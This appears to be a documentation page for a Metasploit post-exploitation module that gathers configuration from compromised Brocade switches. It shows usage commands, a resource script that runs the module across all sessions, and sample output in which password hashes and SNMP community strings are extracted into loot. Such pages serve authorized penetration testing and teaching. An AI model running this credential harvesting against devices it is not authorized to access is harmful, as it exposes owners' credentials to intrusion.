Brocade Gather Device General Information - Metasploit


This page contains detailed information about how to use the post/networking/gather/enum_brocade metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Brocade Gather Device General Information
Module: post/networking/gather/enum_brocade
Source code: modules/post/networking/gather/enum_brocade.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): Brocade
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module collects Brocade device information and configuration. This module has been tested against an icx6430 running 08.0.20T311.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/networking/gather/enum_brocade

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/networking/gather/enum_brocade
msf post(enum_brocade) > show options
    ... show and set options ...
msf post(enum_brocade) > set SESSION session-id
msf post(enum_brocade) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/networking/gather/enum_brocade")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This module has been tested on the following hardware/OS combinations.

  • Brocade ICX 6430-24
    • Firmware: 08.0.20T311

The ICX config can be found no passwords, hashes

This module will look for the following parameters which contain credentials:

  • FastIron
    • show configuration

!!! keep in mind 'password-display' http://wwwaem.brocade.com/content/html/en/command-reference-guide/fastiron-08040-commandref/GUID-169889CD-1A74-4A23-AC78-38796692374F.html !!! need to be able to give a password to enable

  • super-user-password
  • username
  • SNMP

Verification Steps


  1. Start msfconsole
  2. Get a shell
  3. Do: use post/networking/gather/enum_brocade
  4. Do: set session [id]
  5. Do: set verbose true
  6. Do: run

Scenarios


ICX 6430-24, FastIron 08.0.20T311

SSH Session with password-display off


resource (brocade.rb)> use post/networking/gather/enum_brocade
resource (brocade.rb)> set session 1
session => 1
resource (brocade.rb)> set verbose true
verbose => true
resource (brocade.rb)> run
[*] In a non-enabled cli
[*] Getting version information
[*] OS: 08.0.30hT311
[+] Version information stored in to loot /root/.msf4/loot/20190601203656_default_10.0.4.51_brocade.version_751557.txt
[*] Gathering info from show configuration
[!] password-display is disabled, no password hashes displayed in config
[*] Post module execution completed

SSH Session with Enable run


resource (brocade.rb)> use post/networking/gather/enum_brocade
resource (brocade.rb)> set session 1
session => 1
resource (brocade.rb)> set verbose true
verbose => true
resource (brocade.rb)> run
[*] In an enabled cli
[*] Getting version information
[*] OS: 08.0.30hT311
[+] Version information stored in to loot /root/.msf4/loot/20190601221921_default_10.0.4.51_brocade.version_839783.txt
[*] Gathering info from show configuration
[+] password-display is enabled, hashes will be displayed in config
[+] enable password hash $1$QP3H93Wm$uxYAs2HmAK0lQiP3ig5tm.
[+] User brocade of type 8 found with password hash $1$f/uxhovU$dST5lNskZCPQe/5QijULi0.
[+] ENCRYPTED SNMP community $MlVzZCFAbg== with permissions ro
[+] ENCRYPTED SNMP community $U2kyXj1k with permissions rw
[*] Post module execution completed
msf5 post(networking/gather/enum_brocade) > loot

Loot
====

host       service  type             name         content     info                   path
----       -------  ----             ----         -------     ----                   ----
10.0.4.51           brocade.version  version.txt  text/plain  Brocade Version        /root/.msf4/loot/20190601221959_default_10.0.4.51_brocade.version_003751.txt
10.0.4.51           brocade.config   config.txt   text/plain  Brocade Configuration  /root/.msf4/loot/20190601222004_default_10.0.4.51_brocade.config_998514.txt

msf5 post(networking/gather/enum_brocade) > creds
Credentials
===========

host       origin     service         public   private                             realm  private_type
----       ------     -------         ------   -------                             -----  ------------
10.0.4.51  10.0.4.51  22/tcp          enable   $1$QP3H93Wm$uxYAs2HmAK0lQiP3ig5tm.         Nonreplayable hash
10.0.4.51  10.0.4.51  161/udp (snmp)           $MlVzZCFAbg==                              Nonreplayable hash
10.0.4.51  10.0.4.51  161/udp (snmp)           $U2kyXj1k                                  Nonreplayable hash
10.0.4.51  10.0.4.51  22/tcp          brocade  $1$f/uxhovU$dST5lNskZCPQe/5QijULi0         Nonreplayable hash

Go back to menu.

Msfconsole Usage


Here is how the networking/gather/enum_brocade post exploitation module looks in the msfconsole:

msf6 > use post/networking/gather/enum_brocade

msf6 post(networking/gather/enum_brocade) > show info

       Name: Brocade Gather Device General Information
     Module: post/networking/gather/enum_brocade
   Platform: Brocade
       Arch: 
       Rank: Normal

Provided by:
  h00die

Compatible session types:
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module collects Brocade device information and configuration. 
  This module has been tested against an icx6430 running 08.0.20T311.

Module Options


This is a complete list of options available in the networking/gather/enum_brocade post exploitation module:

msf6 post(networking/gather/enum_brocade) > show options

Module options (post/networking/gather/enum_brocade):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the networking/gather/enum_brocade post exploitation module:

msf6 post(networking/gather/enum_brocade) > show advanced

Module advanced options (post/networking/gather/enum_brocade):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the networking/gather/enum_brocade module can do:

msf6 post(networking/gather/enum_brocade) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the networking/gather/enum_brocade post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(networking/gather/enum_brocade) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • h00die

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.